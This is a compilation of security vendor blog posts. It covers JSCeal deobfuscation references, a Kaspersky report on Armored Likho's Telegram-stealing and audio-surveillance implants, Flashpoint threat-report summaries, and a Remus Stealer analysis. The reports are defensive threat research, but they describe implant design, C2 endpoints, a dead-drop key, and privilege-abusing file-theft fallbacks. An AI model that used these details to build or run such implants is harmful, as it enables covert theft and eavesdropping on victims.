JSC files (original, Brotli-compressed) with corresponding unpacked versions:

md5 (JSC original) md5 (unpacked) sha256 (unpacked)
(unknown) 91038aebe528a065c3e995a418db6826 c288e79ed9d1fb654a341b92d878a3165a09fb21dfa826f3559b46738fdbbdeb
03f4e47b9c2283c32bb8f8f042ce6e41 13823095b8d31013ba41a5c98ce69b59 8b3ed808822479eb62d78d819db35362e4e79138ac82310d30e0c351a17992b6
0b8015cbb1ffdc6efe6a306ff5b1115f 454fb012cdd0736e4ed41fabf0916f46 2cf2d22d1317df6c49171be61ef35c4f6c3da17785fa73e68aa95109075f79bd
1026743185dfa10e9ddc21b5a4c578d5 975319142460fc43e3dc5e495d2313c9 94191824bb5062622663e2434d2b749a8c936eb573aaac23594dee8dda304731
201f28b5e62e52e269757930f941c774 09dbfac09f9cafdbc7d225eb144f0e69 742ad2dd3d2444bd3758b6e46dd76f9c43dfaae03bdffc3598ce7d8ab3cd3ac5
2fe27eb8c99626e8c02e4bfd02aca962 c8db5e53572e68349c76107f03544491 504345099ba4c77cbb4224101794e525f2bc9adb40904159195c17d7e345085e
376ec4dbc3363fa7131367e4c6327a46 a2aa25f0d5b23a2897576e4cf9596a7c 11e85a8306057945accc65395b780377c07d4ec9ae52d78185554bf1957e3caa
462195f7f8033df7371e899fe9bc51de 2841170a19c028c16990cdcc6fd499bc 43c57c60a8008e617b16dc6dab29372347ebe144f043200c106149c3106438ba
499184635d56a9827d2059256a35e530 30f23bb28ce56584f8f098ff0035b029 cfdb3bb9edea8de7c7a70275a2b8689619276f1e5f2b8805e67ceab1ee252f6d
533d0b93ea03cd5bab4eec0f0ebadd03 cd7afa032d5f5be0db037edb617f438b 6075cd41edb59c43c13aa3591e054cdb127b17bf34e036dae591244ea2f8868f
68ac84a8470d1f365f0bb2f37b6256d5 a6f5bb2b8a3e1abe332dd40e50d78aa3 c13fcb214a576401cd624dacf248480c38b8bcbb85e5d3da52cc204a61395d14
6e023b9b3097a2dba311cb06a91fe259 6626b8caf2734c83a93f78d31b703584 395f4c1562a1a8caeba254ccbc7d278b8194795ff5ad3824cfc0c566273835f0
7b659fa5c93af29c4e11d8c8be437058 469c60508d4470bc1cc5e4a70d0e7112 192342a5e4fcfc5e8ec430427e1dfa773fd324e3d7215047f36f1114ef930f4e
8fb3e6acb2024601eba0ba484091ff3d e57f6ca6543616f75f7811273616fe47 0c72513efdae9785894b6e925590d0b59b652dda53b8cd882037a87e672a4a5a
af105a6d4dc10b2bfefd75e917245523 a308fa1524c9d5b8dc55d2b296a2629b 9f673e3b361f438e9986f2a7b2423d3d02dbecea0c220163566850ef6ab56626
b2dad3f88b7f6870f83eb1ad852b7f7e 576e94d705bd50811dc9525a45732bc3 59c9038227c634f4e512afaa98f2ca998b0aaac83437c218686c51acbda7873e
d064dfaaef30c057b832c79996c35e89 710cc97e64618c68ffca72ac405a48a1 88b1d75d330cf6be9a7f48cdfd51c48125a86f9bcb6bcb736fb8399e0617d680
d5b4137135cf121e3ea07b1c81fe1108 c605371a8caf11497f1879597292e338 2c29b4089845b010428f8be48e62f165e0f7f8a48e58200629c6020c7ac2cab7
e26687982d924ffebef6fbf2d9d43350 2477fd3e348c51bf575ede398253d0b3 aec3e252c429e150c42976d6badeea31e48a0356ecbd27796df83fc6d3de16ea
e27ae65977287bdfb7b0e15fd3603f85 7650ec266b414d097101da12c4384659 57f32b3942d5543177f07e49fc84f1409a49b5df7d25549e543607c223b87695
e711a90b5ece5380e1acaed56827e8d5 1b7f4288b12373c8d6488fde69c8ce0d fa02e707af9a353f0e2d7a77489c11c2249a1d9dbccf74070130b31834e8d7c3
0d1fce0cb2b9dec26a10f0822aeffb19 e81b35b76b4d97751c0724bc0c7f3b83 36d34b6405a33fcb95e1323e2ca8c688af02b315fc1bded19fa27bd1c7ca6f1c
e8b5448b4f7b013e8c6191b20d3f8291 fa0180946b9a6ad373b7a8f983e2e597 22833568125bcc55000503cfe6b470925b7d095ff7592bef79fe52e0573123cc
fd4494c555adda2eb54b88f5c9c08801 10c576a57fc040eddd84d631786b8dda 06dce0f294c62f2a2393c812ff711bde831bf420a4df484bcf5b6241fc0f00d0

Appendix – C

Of the 24 payloads listed in Appendix B, 23 use the dominant string-obfuscation variant handled by deobf_str2.py. The older payload 91038aebe528a065c3e995a418db6826 uses the simpler variant handled by deobf_str1.py.

All identified obfuscated string chunks in these 24 payloads were successfully deobfuscated — meaning that each identified obfuscated chunk was decrypted into a valid string chunk.

Complete listings are available in the repository [8] in the files named by the pattern: {md5}.deobf.txt.strings.txt.

Related Research

[1] Sealed Chain of Deception: Actors leveraging Node.JS to Launch JSCeal

[2] Exploring Compiled V8 JavaScript Usage in Malware

[3] View8 (original): https://github.com/suleram/View8

[4] View8 fork: https://github.com/j4k0xb/View8/

[5] Brotli Algorithm: https://github.com/google/brotli

[6] JavaScript Obfuscator: https://github.com/javascript-obfuscator/javascript-obfuscator

[7] JSC_deobfuscator: https://github.com/hasherezade/jsc_deobfuscator/

[8] Material extracted from the analyzed samples: https://github.com/hasherezade/jsceal_datasets

[9] V8 string literal patch: https://github.com/hasherezade/jsc_deobfuscator/blob/v1.0/Utils/disasm/patches/v8_string_patch.diff

[10] V8 build instructions: https://github.com/hasherezade/jsc_deobfuscator/wiki/Building-V8-Disasm

[11] Demos illustrating the deobfuscation process live

[12] Microsoft Security: threat actors misuse Node.js to deliver malware and other malicious payloads

[13] Cato CTRL Threat Research: A Deep Dive into a New JSCEAL Infostealer Campaign

 

The post Breaking the Seal: Static Deobfuscation of JSCeal’s Compiled V8 Bytecode appeared first on Check Point Research.

  •  

Armored Likho expands its cyber-espionage toolkit

In May 2026, we discovered a new cyber-espionage campaign by the Armored Likho group, also known as Eagle Werewolf, that targets private individuals and organizations across various industries in Russia, including major corporations, the public sector, IT, and education. The attackers used a fake app as bait that mimics a service for donations. However, the most interesting part of this campaign isn’t the initial infection method – it’s the malicious implants the attackers use for cyber-espionage.

We’ve written previously about recent Armored Likho attacks, but our analysis shows that the campaign discussed below has more in common with the group’s activity from February. That said, the attackers have significantly expanded their arsenal.

During our research, we found a new cyber-espionage toolkit written in Rust: the Still Toolkit. One of its components, Still Sync, steals Telegram session data to gain ongoing access to the victim’s account. With this stolen data, attackers can leverage the Telegram API to automatically pull chat logs, media files, and other information from the account.

The second component, Still Audio, is an implant for covert audio surveillance. It analyzes the incoming audio stream, automatically detects speech, records conversations, and sends the recordings to a command-and-control server.

In this article, we’ll look at the initial infection method, how the new Still Toolkit components are built, and the technical details of how they operate.

Kaspersky products detect this threat as Trojan.Win64.Agent.* and HEUR:Backdoor.Win32.Generic.

Background

Armored Likho’s malicious activity has been documented several times before: in November 2024, and in February and July 2026. The current campaign shows significant overlap with the November and February campaigns, which used malicious droppers disguised as documents and applications related to Starlink activation or fundraising efforts as the initial infection vector. This campaign also uses fundraising as its lure. At the same time, our research uncovered a number of new tools that point to the attackers expanding their capabilities.

Initial infection

The infection chain starts with an app that mimics a donation service. As of this writing, the app distribution method remains unknown. During our research, however, we obtained several samples posing as apps from different Russian foundations.

In reality, the app is a dropper. Its developers wrote it in Rust on top of the popular Tauri framework, and it has a graphical interface designed to deceive the user. After launch, it displays a login form that asks for a password, presumably one the attackers supplied.

The login form

The login form

After the user enters a valid password, they see a catalog of donatable items. The app pulls item and category information from orderapiserver[.]info through the public/categories and public/products endpoints. A clickable catalog makes the app look legitimate. While the user browses the items, the dropper quietly decrypts and launches the payload for the next stage in the background.

Our analysis shows that the mechanism for decrypting the payload and launching subsequent stages hasn’t changed since the February campaign. However, we found a new cyber-espionage toolkit – the Still Toolkit – made up of two components: Still Sync and Still Audio.

Still Sync

Still Sync is a stealer written in Rust that steals Telegram session data. However, its capabilities don’t stop there. With this stolen data, Sync can log in to the victim’s account and pull messages and media files through the Telegram API.

Architecturally, Sync is an asynchronous application based on the Tokio library. It talks to the server over gRPC and serializes messages with FlatBuffers. It supports both HTTP and HTTPS as transport protocols; the URL of the command-and-control server determines which one it uses.

How it works

When Sync launches, the attackers set several environment variables. Before starting any malicious activity, the implant pulls configuration parameters from these:

  • STILL_SYNC_ADDR: the address of the command-and-control server. By default, this is https://tg4service[.]com:443.
  • STILL_SEND_PATH: the path to the tdata
  • STILL_TELEGRAM_PASSCODE: the password for decrypting the tdata folder, if Telegram data encryption is enabled on the victim’s device.

Sync also supports several command-line arguments:

  • --console: runs as a console application. If this parameter is absent, the implant creates a TReload service to keep running in the background.
  • --version: prints version information and exits.
  • --firefly: launches a trace thread that monitors the program’s operation. It writes error messages to a hidden file, bin, located in the same folder as the main executable.
  • --db: turns on debug mode with detailed logging.
Example Still Sync logs

Example Still Sync logs

Once it launches, the malware begins registering the device with the C2 server. To do this, Sync collects the following information about the victim’s system:

  • Motherboard serial number
  • CPU ID
  • System UUID
  • BIOS serial number
  • Computer domain name

The malware combines the collected data into a single string with a colon as the separator. It then hashes that string with SHA-256 and stores the resulting hash under the key sysmarker. Worth noting: other Armored Likho tools, AquilaRAT included, use this same hashing algorithm.

Sync then serializes a package containing all the collected information and the agent version, and sends it in a POST request to /still.rpc.Sync/RegisterMachine. The response contains a machine_id value, which Sync uses to identify itself in subsequent requests.

Once registration succeeds, Sync sends a POST request with the machine_id parameter to /still.rpc.Sync/GetMachineSettings. The server responds with the following settings:

  • enabled: triggers malicious activity on the infected device.
  • scan_portable: turns on extended scanning when searching for the tdata We’ll cover this feature in more detail below.
  • fetch_telegram: if this parameter is on, Sync attempts to log in to Telegram and extract data. We’ll cover this feature in more detail below.
  • download_channels: if this parameter is off, Sync skips channel dialogs when exfiltrating Telegram data.

These parameters have no default values, so Sync doesn’t perform any malicious actions until the registration and settings-retrieval processes both complete successfully.

Telegram data collection

Before stealing a Telegram session, Sync searches for the tdata folder, unless the STILL_SEND_PATH variable is already set. The list of search paths includes both standard and nonstandard directories, if the scan_portable option is turned on:

  • C:\Users\<username>\AppData\Roaming\Telegram Desktop\: the standard Telegram Desktop installation directory.
  • C:\Users\<username>\AppData\Local\Packages\<package_folder>\LocalCache\Roaming\: the installation directory for the Microsoft Store version. Sync identifies the package folder by a name that contains the string TelegramMessenge.
  • C:\: used for the extended search (if the scan_portable option is on).

Sync then sends a POST request with a list of files from the tdata folder to the /still.rpc.Sync/CheckFiles endpoint. The server responds with the following values:

  • snapshot_id: an identifier the server assigns to the current data snapshot.
  • present: a list of file paths that are already present on the server.

This lets the C2 server avoid re-receiving files it already has. In addition, if Sync can’t access files on disk through standard methods, it falls back on three mechanisms that abuse the SeBackupPrivilege privilege:

  • Opening files with the CreateFileW function using the FILE_FLAG_BACKUP_SEMANTICS parameter
  • Creating a backup copy through the Shadow Copy service and reading files from there
  • If the previous methods all fail, attempting to copy the file using the Robocopy utility in backup mode

Beyond stealing Telegram session data, Sync can carry out full-scale collection of user information from the messaging app. When the fetch_telegram option is on, it launches a separate thread that authenticates to the chat app using the previously obtained tdata. Once authentication succeeds, Sync gains access to the account data and sends the following collected information to the server:

  • User details, such as username, phone number, first and last name
  • Information about private chats, groups, or channels, such as chat name and ID, the member list, and so on
  • Dialogs from private chats, groups, and channels (if the download_channels option is on)
  • Media files under 250MB: photos, documents, stickers, and contacts

Still Audio

Still Audio is an audio surveillance implant written in Rust. Its main job is to analyze the incoming audio stream and start recording voice when certain conditions are met – we’ll cover those in the next section. Architecturally, Still Audio largely mirrors Sync and uses the same mechanisms for communicating with the C2 server.

On launch, Still Audio performs a sequence of actions:

  • It extracts libmp3lame.dll, a file stored inside the executable. This is a library used to encode audio data.
  • If the --console command-line argument is absent, the implant creates a service named auxhost, connects to it, and continues running in the background.
  • While running in the background, it creates a file, logfile.log, to write logs to.

Next, Still Audio retrieves the C2 server address. As with Sync, it stores the URL in an environment variable – in this case, STILL_AUDIO_SYNC_ADDR. If that variable isn’t set, it falls back to STILL_SYNC_ADDR, which shows the two modules are compatible with each other. If neither variable is set, it uses the default URL, https://srwinservice[.]com.

Still Audio also uses the Dead Drop Resolver technique as a fallback mechanism for obtaining the C2 address. If the current server stays unreachable for three days, the tool tries to pull the current C2 URL from a GitHub repository. In the sample under analysis, we found the following URL for the page containing C2 information: hxxps://raw.githubusercontent[.]com/mmarln/pi-mono/refs/heads/main/packages/pods/src/array12.json

Encrypted C2 address inside the GitHub repository

Encrypted C2 address inside the GitHub repository

The repository, a fork of a popular project, contains the server URL Base64-encoded and encrypted with the Blowfish algorithm in ECB mode, using the key 5c8e153228edd3c6cbf75684 (lowercase string). Older AquilaRAT samples use this exact same algorithm and key.

Once it obtains the current C2 address, the Audio module starts a registration process similar to Sync’s, but through a different endpoint:

/still.rpc.Audio/RegisterAudioMachine. Also, unlike Sync, Audio sends a list of available audio input devices along with the system information.

The server responds with settings for the implant:

  • machine_id: a unique identifier for the current device.
  • vad_threshold: the threshold value for the VAD (Voice Activity Detection) algorithm. Expressed as a decimal fraction, it represents a proportion of the maximum sound level the input device can pick up. Sound above this threshold counts as voice activity. The default vad_threshold is 02.
  • max_silence_duration: the number of audio samples with a VAD value below the set threshold after which the implant considers the recording finished.
  • max_buffer_size: the maximum buffer size for recorded audio data.
  • active_device: the name of the input device selected for recording, from the list of available devices.

The eavesdropping process

Still Audio works with raw audio samples it captures directly from the input device. To detect voice activity, it implements an algorithm based on Root Mean Square (RMS), a lightweight signal-processing method that distinguishes speech from silence by measuring the audio signal’s average power over time. The implant doesn’t rely on any third-party libraries here; it implements all the calculations itself.

The implant compares the calculated RMS value against the vad_threshold parameter. If RMS meets or exceeds this threshold, recording starts. To avoid losing the beginning of the recording, Still Audio uses a pre-buffer, a size-limited buffer that stores samples from just before the current recording moment. A sequence of max_silence_duration samples (320 by default) with RMS values below the threshold signals the end of the recording. For example, with a standard headset running at a 44.1kHz sampling rate, recording stops after roughly 7ms of silence.

Interestingly, the Audio module makes no attempt to hide its use of the microphone: its name shows up in Windows settings. In the sample we examined, the file was saved to disk as IntAudio.exe, and it appeared in the list of apps using the microphone as “Intel Audio”:

The malicious module in the list of apps using the microphone

The malicious module in the list of apps using the microphone

Before sending recordings to the server, the implant uses the libmp3lame library to encode the raw audio samples. It sends the recording files via a POST request to /tgfrg, adding a Client-Id header containing the machine_id obtained during registration to identify the device.

Infrastructure

This campaign draws on a broad set of hosting providers and domains registered at different points in time, which suggests the attackers are trying to make their infrastructure harder to detect. We found no direct overlap in domains or IP addresses with the February campaign. Even so, the two infrastructures share some similarities:

  • They use the same hosting providers, with the ASNs 149440, 202448, and 215311.
  • Their domain names follow similar naming patterns that mimic Windows system services and update mechanisms.
Domain IP address Registration date ASN
orderapiserver[.]info 187.127.153[.]38 April 18, 2026 47583
tg4service[.]com 159.198.37[.]74 October 4, 2025 22612
srwinservice[.]com 213.252.244[.]123 March 19, 2026 61272
screenserv[.]com 23.26.237[.]250 February 13, 2026 149440
windowserv[.]net 23.27.24[.]30 February 10, 2026 149440
managementapiservice[.]com 188.212.124[.]178 May 1, 2026 202448
service8date[.]com 145.223.69[.]143 January 13, 2026 215311
updateservs[.]com 145.223.68[.]66 December 23, 2025 215311

Victims

In this campaign, we’ve determined that the attackers’ primary targets are users in Russia. Most victims are private individuals, though the corporate sector, government organizations, IT companies, and educational institutions are also affected.

Attribution

This campaign has been using both new tools and malware families documented in BI.ZONE’s February report. While some components turned up for the first time, they show significant code-level overlap with malicious tools seen in earlier Armored Likho campaigns. Based on these overlaps, along with additional technical artifacts, we’re highly confident the Armored Likho group is behind the campaign. The overlaps we identified include:

  • Identical dropper architecture in the February and current campaigns, which includes the use of the Tauri library to build the graphical interface, a similar user-input handler, a payload with the ICRYPTMP header, and the same multi-part encryption format.
  • The same encryption algorithm and key used in AquilaRAT from the previous campaign and in the Still Audio module from the current campaign, both implementing the Dead Drop Resolver technique.
  • Identical logic for generating the sysmarker value in older AquilaRAT samples and in the Still toolkit from the current campaign. The algorithms match down to the PowerShell commands used to collect system information.
  • Substantial infrastructure overlap, which includes the hosting providers and domain-naming patterns described in the Infrastructure section.

Takeaways

The campaign described in this post shows Armored Likho’s toolkit evolving, with the group steadily expanding its cyber-espionage capabilities. Beyond the components we already knew about, the attackers rolled out new modules that let them not only access Telegram data but also conduct audio surveillance on victims. Together, these capabilities significantly widen the range of information attackers can collect in a single compromise.

One point deserves particular attention: the new tools form a cohesive set, sharing similar architecture, C2 communication mechanisms, and common implementation elements. This points to the group building out its own tool ecosystem, designed for long-term use and further expansion.

The emergence of new, specialized modules shows the attackers aren’t just trying to preserve their existing capabilities – they’re working to make intelligence-gathering more effective by controlling multiple communication channels at once.

Indicators of compromise

Additional information about this threat, indicators of compromise included, is available to customers of Kaspersky Threat Intelligence Reporting. Contact intelreports@kaspersky.com for more details.

File hashes
Droppers
C1D1EE16B92E6A138FFA048855F75D7D
17674B250D8B422A50A86C9FF207186D
62801F6223E860A7CCA271522E303B2D

Still Sync
68F0365D2FA8C828D012D8859E52A773
4BD7C352AE277B0E38D07BEEDD4DD507
D4BC09FB10EA2A5DC0BCBEEDA5E5AFDD

Still Audio
2CA8ADBAB98EBE305EACF272CF48F5A0
3AC41B097236A7723821848AE31EF141
439255736797BC88BD19F282449E0436

Domains
orderapiserver[.]info
tg4service[.]com
srwinservice[.]com
screenserv[.]com
windowserv[.]net
managementapiservice[.]com
service8date[.]com
updateservs[.]com

  •  

Cybercrime at Machine Speed: Key Takeaways from Flashpoint’s 2026 Midyear Threat Intelligence Briefing

Blogs

Blog

Cybercrime at Machine Speed: Key Takeaways from Flashpoint’s 2026 Midyear Threat Intelligence Briefing

Threat actors are no longer just using automation to execute tasks, they are leveraging prepackaged, safeguard-free AI, weaponizing stolen session data, and directly targeting defenders’ security stacks.

SHARE THIS:
Default Author Image
September 1, 2026

In our latest webinar, Flashpoint Vice President of Intelligence, Ian Gray, briefed security leaders on the evolving threat environment, providing critical insights from the Flashpoint Global Threat Intelligence Report (GTIR): 2026 Midyear Edition.

The threat landscape has developed at a striking pace with Flashpoint tracking over 22 million illicit AI discussions, 7.4 million compromised hosts yielding 1.7 billion stolen credentials, and over 21,600 disclosed vulnerabilities in just six months. Beyond these staggering numbers, the on-demand session detailed something even more alarming: a fundamental shift in adversary operational tradecraft.

Here are the five critical shifts every cyber threat intelligence (CTI), Vulnerability Management, and SOC team needs to know.

The Death of Signal: Threat Actors are Shifting to “Private AI”

The public discussion surrounding criminal artificial intelligence (AI) has reached a critical inflection point. Early in the AI boom, Flashpoint observed threat actors collaboratively experiment across underground forums, jailbreaking commercial frontier models or advertising surface-level tools like WormGPT and DarkGPT.

Today, adversaries are shifting from public forums to running fine-tuned, open-source models locally on private servers, which greatly hampers traditional signature-based detection. Flashpoint analysts are now seeing attackers generate unique, highly tailored malware variants, flawless phishing lures, and custom exploit scripts at extremely low costs—completely offline and shielded from public monitoring.

“A few months ago, a lot of this was collaborative… public outsourcing. Now what we’re seeing is scarier: pre-packaged cybercrime models run locally on private infrastructure. Malicious code, exploit scripts, and targeted phishing are all being generated inside closed environments.”

Ian Gray, VP of Intelligence, Flashpoint

Weaponizing the Defender’s Own Tooling

Another eye-opening tactical insight shared during the session was how threat actors are repurposing defender infrastructure for automated initial access and extortion. In the webinar, we pointed to recent campaigns where adversaries specifically targeted misconfigurations and zero-day vulnerabilities inside open-source vulnerability scanners, secrets-detection tools, Kubernetes clusters, and Infrastructure-as-Code(IaC) environments.

What this means for defenders is that the attack surface is no longer bounded by traditional enterprise network boundaries: it extends directly into CI/CD pipelines, security orchestration tooling, and third-party SaaS integrations. Security teams are finding themselves in a race against attackers who use automated scanning scripts to weaponize vulnerabilities in the security tools themselves.

The Global Infostealer Threat and Identity-First Attacks

Flashpoint tracked 7.4 million hosts compromised by infostealers in H1 2026—a 27% increase period-over-period—harvesting 1.7 billion credentials and identity information.

While the top infostealer strains remain familiar, law enforcement operations have created vacuums that competitors rapidly fill.

map visualization

Threat actors are leveraging drive-by downloads, watering holes, and pirated software packages to plant stealers. Once a machine is compromised, the logs capture corporate SSO credentials, active browser cookies, VPN keys, and SaaS session tokens. This enables adversaries to simply log in without having to leverage complex technical exploits.

The Structural Failure of CVE/NVD and the Importance of KEV

The Common Vulnerabilities and Exposures (CVE) and National Vulnerability Database (NVD) have failed to keep pace with the velocity of AI-assisted vulnerability discovery. As such, vulnerability management teams are facing significant operational delays.

MetricFlashpoint GTIR Midyear H1 2026 DataOperational Impact
Total Disclosures21,667Remediation volume exceeds defender bandwidth.
Exploit Availability19% (4,015 CVEs)Functional code is ready before patches are deployed.
Public Catalog LagGrowing Backlog (NVD/KEV)Delay in official scoring leaves teams blind to active risk.

Therefore, waiting for NVD enrichment before prioritizing a patch is a dangerous strategy. To compensate, security teams require Vulnerability Intelligence (VI) that provides primary-source confirmation of weaponization, exploit availability, and actionable mitigation guidance long before public databases update.

Ransomware Evolution: From Encryption to Cloud Extortion

Ransomware-as-a-Service (RaaS) activity surged by 45% period-over-period, reaching 6,256 verified victim postings on data leak sites. However, total on-chain payout revenue dropped by 8% to $820 million, with victim pay-rates hitting a record low of 28%.

Faced with declining payouts and resilient enterprise backups, extortion syndicates are adapting. Rather than relying exclusively on technical file-encrypting malware, groups are executing pure data extortion campaigns—frequently targeting cloud platforms or extracting data through third-party vendor access.

Protect Your Organization Using Flashpoint

Defending against machine-speed attacks requires moving beyond reactive, post-incident telemetry. Flashpoint arms security, CTI, and vulnerability management teams with the primary-source intelligence required to preempt adversary operations:

  • Unrivaled Deep & Dark Web Visibility: Flashpoint’s Primary Source Collection actively monitors closed criminal communities, illicit Telegram channels, and private forums, giving you early warning when threat actors build custom AI toolkits or trade credentials targeting your organization.
  • Comprehensive Vulnerability Intelligence (VI): Flashpoint tracks zero-days and vulnerability disclosures independently, delivering immediate exploit availability data and threat-informed prioritization so you patch what actually matters.
  • Continuous Compromised Credential Monitoring: Instantly surface exposed enterprise credentials, active session tokens, and stealer logs tied to your domain or third-party supply chain before they lead to an account takeover (ATO).

Request a demo, or watch the full on-demand webinar to explore the data shaping today’s risk landscape.

See Flashpoint in Action

The post Cybercrime at Machine Speed: Key Takeaways from Flashpoint’s 2026 Midyear Threat Intelligence Briefing appeared first on Flashpoint.

  •  

Navigating AI-Driven Cyber Threats: Insights from Flashpoint’s 2026 GTIR Midyear Edition

Blogs

Blog

Navigating AI-Driven Cyber Threats: Insights from Flashpoint’s 2026 GTIR Midyear Edition

In this post, we preview the critical findings of Flashpoint’s Global Threat Intelligence Report: 2026 Midyear Edition.

SHARE THIS:
Default Author Image
August 13, 2026

In the first half of 2026, the global threat landscape reached a clear operational inflection point: threat operations have fundamentally transitioned from human-led campaigns to machine-speed, AI-driven exploitation. As threat actors gain commoditized access to open-source AI technologies and actively deploy automated, safeguard-free tooling locally on private infrastructure, organizations face an accelerating hybrid risk environment.

Flashpoint’s Global Threat Intelligence Report: 2026 Midyear Edition

The Flashpoint Global Threat Intelligence Report: 2026 Midyear Edition anchors security leaders—from threat intelligence, vulnerability management, to executive leadership—in the data required to navigate this evolving threat landscape. Covering the period from January 1 to June 30, 2026, the report delivers timely insights backed by Flashpoint’s proprietary primary-source collection from over 3.9 petabytes of continuously monitored illicit sources.

Our midyear findings reveal several key metrics that highlight the speed and scale of the H1 2026 threat landscape:

  • 22M+ threat actor posts discussed, shared, or advertised artificial intelligence toolkits for criminal deployment.
  • 1.7B credentials and identity data points extracted across more than 7.4M unique compromised hosts globally.
  • Nearly one-in-five (19%) of all vulnerability disclosures dropped with ready-made, functional exploit code.
  • 45% period-over-period surge in Ransomware-as-a-Service (RaaS), with total victim volume reaching 6,256 even as victim payout rates dropped to a historic low of 28%.

Download the Flashpoint Global Threat Intelligence Report: 2026 Midyear Edition to gain:

  1. A Clear Understanding of the Convergence Between AI and Cyber Threats
    From generating flawless phishing campaigns to automating vulnerability scanning and code obfuscation, discover how adversaries are optimizing for speed and cost-efficiency — utilizing AI as a force multiplier in their various illicit campaigns.
  2. A Comprehensive Top-Down View of the Evolving Threat Landscape
    Gain full visibility of the threat landscape with Flashpoint’s primary-source collections and real-time threat intelligence.
  3. Strategies for Proactive Defense and Risk Mitigation
    Move your organization beyond reactive incident response by leveraging Flashpoint’s comprehensive threat intelligence. Gain the foresight needed to strengthen defenses and optimize your security posture.

“AI is compressing the time between opportunity and exploitation. Capabilities that once took significant expertise, coordination, and time to develop are becoming faster to build, easier to scale, and harder to detect. Security teams are facing an adversary ecosystem that can use AI to iterate at unprecedented speed — the only way to keep pace is with primary-source intelligence that surfaces adversary behavior before attacks unfold.”

Josh Lefkowitz, Flashpoint Co-Founder & CEO

The Four Driving Themes Shaping the 2026 Threat Landscape

Artificial Intelligence (AI) Threats

During the first half of 2026, Flashpoint captured over 22M illicit posts discussing or advertising AI for criminal-related activities. By stripping ethical safeguards, custom malicious LLMs allow unsophisticated threat actors to automate complex phases of the attack lifecycle, including target profiling, malware evasion script creation, and zero-day exploit generation.

chart visualization

Information-Stealing Malware Threats

Infostealer malware harvested 1.7 billion credentials across 7.4 million compromised systems in H1 2026 alone, turning digital identity into the main entry point for enterprise intrusions.

chart visualization

Vulnerability Intelligence and Patching Management

19% (4,015) of all H1 2026 vulnerability disclosures arrived with ready-made exploit code. Adversaries deploy automated replication scripts almost immediately upon disclosure, eliminating manual remediation windows.

interactive diagram visualization

Ransomware Operations, Multi-Extortion Cartels, and Financial Risk

Despite a 45% surge in victim volume (6,256 overall), total on-chain revenue fell by 8% to $820M. Improved enterprise backups and incident response have driven payout rates down to 28%, prompting syndicates to demand larger sums from paying victims.

chart visualization

Proactive Security in 2026 and Beyond

The data shows that traditional enterprise security organizations are struggling to keep pace with modern threat cycles that are accelerated by illicit uses of AI. This continued convergence of AI engines and initial access vectors have further compressed attack timelines, making it nearly impossible for security teams to defend against them—especially if they are limited by traditional approaches to threat intelligence.

Equipping your team with primary-source threat intelligence is critical for protecting critical assets in 2026. Download the Flashpoint Global Threat Intelligence Report: 2026 Midyear Edition to gain the visibility and strategic clarity required to defend your organization.

See Flashpoint in Action

The post Navigating AI-Driven Cyber Threats: Insights from Flashpoint’s 2026 GTIR Midyear Edition appeared first on Flashpoint.

  •  

Remus Stealer: A New, Not-So-New Infostealer

Blogs

Blog

Remus Stealer: A New, Not-So-New Infostealer

In this post, we explore the emergence of Remus Stealer, analyzing its structural and behavioral similarities to the infamous Lumma malware.

SHARE THIS:

The underground marketplace rarely stays quiet for long. A new information-stealing malware dubbed Remus Stealer has surfaced in the cybercrime underground, exhibiting significant similarities to the notorious Lumma malware family across its administration panel, stolen log files, and core code structure.

Despite parallels in its code and functionality, threat actors are eagerly buying into the platform. In addition to its familiar features, it provides attackers with a distinct, modern command and control (C2) and networking infrastructure designed to slip past current security perimeters.

What We Know About Remus

Flashpoint first observed Remus appearing for sale within illicit communities in March 2026. The malware listing offers similar functionality to other popular Malware-as-a-Service (MaaS) offerings, including Google OAuth cookie restoration and Telegram channel integration for logs.

Much like the Lumma malware family, the Remus subscription service operates on a three-tiered access model:

  • Basic: US$250
  • Pro: US$500
  • Enterprise: US$1,000

At this time, Remus has no additional channels or automated bots associated with its sale or distribution. Despite undeniable similarities to Lumma, its developer claims to not be a rebrand of the Lumma project.

Since March 2026, Remus has continued its operations mostly unhindered by negative associations associated with Lumma—particularly the doxxing of its panel in August 2025.

Similarities to Lumma

Similarities can be observed in the Remus and Lumma panels in both aesthetics and functionality. Both panels use similar assets for tab icons and have embedded advertisements for other illicit services such as packers and log clouds. Harvested logs also share extremely similar directory structures in log files, including unique identifiers.

Remus Stealer panel (Source: Flashpoint Collections)

Code-Level Overlaps

Remus is a 64-bit compiled binary, and Lumma was a 32-bit binary. However, major similarities between the code bases of both malware can be observed.

Upon execution of an unpacked sample, both Remus and Lumma will send warning messages to the user that the build is unpacked. This was a unique phenomenon first established by Lumma several years ago. In both Remus and Lumma samples, the pack check and window message are performed before the main functionality of the malware.

In both Remus and Lumma, a function is used first to check if the sample is packed, and a second function is used to send the window error message.

Remus uses similar string obfuscation methods to Lumma, in which each string has been uniquely encoded and then decoded during runtime. Deobfuscation occurs by looping byte by byte through encoded blobs. Each encoded string is obfuscated by a unique pattern. This can be seen in the code samples below:

Remus inline string deobfuscation (Source: Flashpoint)
Lumma inline string deobfuscation. (Source: Flashpoint)

Of note, both samples have at least one NOP instruction between the encoded blob being moved onto the stack and the deobfuscation loop.

Another unique feature of Lumma is the presence of a plaintext identifier string used to link customers to specific build generations. In Lumma, this string was referred to as the LID (Lumma ID), and this ID method appears in Remus as well as a “tag.”

Lumma ID (Source: Flashpoint)
Remus tag (Source: Flashpoint)

Like the Lumma LID string, the Remus tag could be leveraged to attribute variant builds and campaigns to single threat actors or groups.

Additionally, both Remus and Lumma exhibit similar control flow obfuscation by replacing direct jumps with indirect jumps read from offsets that have been moved onto the stack, jumps computed from a jump table, and jumps resolved by a pointer.

Differentiators of Remus

Although Remus bears remarkable similarities to Lumma, its main differences lie in its C2 beaconing.

Before performing main stealer functionality, Remus will beacon out to its C2 infrastructure. It will attempt to resolve several domain:port combinations via POST requests, and attempt a final connection to find the C2 server using EtherHiding. If it is unable to connect, the malware will terminate.

After a connection is established, the stealer sends a POST request to the C2 in order to receive an access token. Once received and decoded, this access token is used to receive encrypted config data used by Remus to target assets on the victim system. Data collected for logs is then exfiltrated as encrypted POST data.

Network traffic from Remus sample (Source: Flashpoint)

Protect Against Infostealers Using Flashpoint

Remus stealer represents a sophisticated continuation of the MaaS infostealer model left behind by Lumma’s collapse. While the developer asserts independence, the overwhelming code overlaps, matching obfuscation techniques, and administrative panels indicate that Remus is either heavily inspired by, or derived from the Lumma codebase. These traits have allowed it to thrive, providing threat actors with a familiar, robust alternative that sidesteps the reputational baggage and law enforcement scrutiny of its predecessors.

